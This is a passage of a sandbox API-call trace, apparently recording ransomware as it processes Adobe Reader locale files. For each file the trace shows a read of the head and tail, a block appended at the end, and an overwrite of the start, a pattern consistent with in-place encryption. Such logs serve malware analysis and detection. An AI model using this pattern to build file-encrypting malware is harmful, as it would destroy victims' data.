[0040.776] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.776] CloseHandle (hObject=0x1a8) returned 1 [0040.776] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\reflow.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\reflow.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0040.777] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0040.777] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1200 [0040.777] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0040.777] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.777] ReleaseMutex (hMutex=0x128) returned 1 [0040.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SKY", cchWideChar=10, lpMultiByteStr=0x1e6342c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SKY", lpUsedDefaultChar=0x0) returned 10 [0040.777] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c5dd8, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesRead=0x340f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0040.782] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0040.782] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x340f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0040.783] CloseHandle (hObject=0x1a8) returned 1 [0040.783] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Acroform.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\acroform.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0040.783] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0040.783] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x63800 [0040.783] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0040.783] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.783] ReleaseMutex (hMutex=0x128) returned 1 [0040.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SLV", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SLV", lpUsedDefaultChar=0x0) returned 12 [0040.783] ReadFile (in: hFile=0x1a8, lpBuffer=0x2805cf8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0040.810] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x62800 [0040.810] ReadFile (in: hFile=0x1a8, lpBuffer=0x280ed58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280ed58*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.854] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x62800 [0040.854] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.854] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0040.854] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0040.854] CloseHandle (hObject=0x1a8) returned 1 [0040.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\MakeAccessible.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\makeaccessible.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0040.855] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0040.855] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x11e00 [0040.855] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0040.855] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.855] ReleaseMutex (hMutex=0x128) returned 1 [0040.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.SLV", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0040.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.SLV", cchWideChar=18, lpMultiByteStr=0x1e78c44, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.SLV", lpUsedDefaultChar=0x0) returned 18 [0040.858] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0040.879] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x10e00 [0040.879] ReadFile (in: hFile=0x1a8, lpBuffer=0x2766028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.071] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x10e00 [0041.071] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.072] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.072] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.072] CloseHandle (hObject=0x1a8) returned 1 [0041.072] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.073] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.073] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x9103 [0041.073] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.073] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.073] ReleaseMutex (hMutex=0x128) returned 1 [0041.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0041.073] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.104] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8103 [0041.105] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.105] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8103 [0041.105] WriteFile (in: hFile=0x1a8, lpBuffer=0x2734838*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734838*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.105] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.105] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.105] CloseHandle (hObject=0x1a8) returned 1 [0041.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Checkers.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\checkers.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.106] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.106] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1d600 [0041.106] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.106] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.106] ReleaseMutex (hMutex=0x128) returned 1 [0041.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SVE", cchWideChar=12, lpMultiByteStr=0x1e6338c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SVE", lpUsedDefaultChar=0x0) returned 12 [0041.106] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.191] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1c600 [0041.191] ReadFile (in: hFile=0x1a8, lpBuffer=0x2737a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.211] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1c600 [0041.212] WriteFile (in: hFile=0x1a8, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.212] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.212] WriteFile (in: hFile=0x1a8, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.212] CloseHandle (hObject=0x1a8) returned 1 [0041.212] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\RdLang32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\rdlang32.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.213] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.213] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x141800 [0041.213] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.213] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.213] ReleaseMutex (hMutex=0x128) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SVE", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SVE", lpUsedDefaultChar=0x0) returned 12 [0041.213] ReadFile (in: hFile=0x1a8, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.234] ReadFile (in: hFile=0x1a8, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.255] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x140800 [0041.255] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.276] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x140800 [0041.276] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.276] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.276] WriteFile (in: hFile=0x1a8, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.277] WriteFile (in: hFile=0x1a8, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.277] CloseHandle (hObject=0x1a8) returned 1 [0041.277] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Weblink.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\weblink.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.277] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.277] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6a00 [0041.277] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.277] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.277] ReleaseMutex (hMutex=0x128) returned 1 [0041.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SVE", cchWideChar=11, lpMultiByteStr=0x1e631cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SVE", lpUsedDefaultChar=0x0) returned 11 [0041.277] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.294] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5a00 [0041.294] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.294] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5a00 [0041.295] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.295] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.295] WriteFile (in: hFile=0x1a8, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.295] CloseHandle (hObject=0x1a8) returned 1 [0041.295] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\EScript.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\escript.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.295] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.295] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xa000 [0041.295] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.296] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.296] ReleaseMutex (hMutex=0x128) returned 1 [0041.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.TUR", cchWideChar=11, lpMultiByteStr=0x1e6338c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.TUR", lpUsedDefaultChar=0x0) returned 11 [0041.296] ReadFile (in: hFile=0x1a8, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.317] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x9000 [0041.317] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.317] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x9000 [0041.318] WriteFile (in: hFile=0x1a8, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, 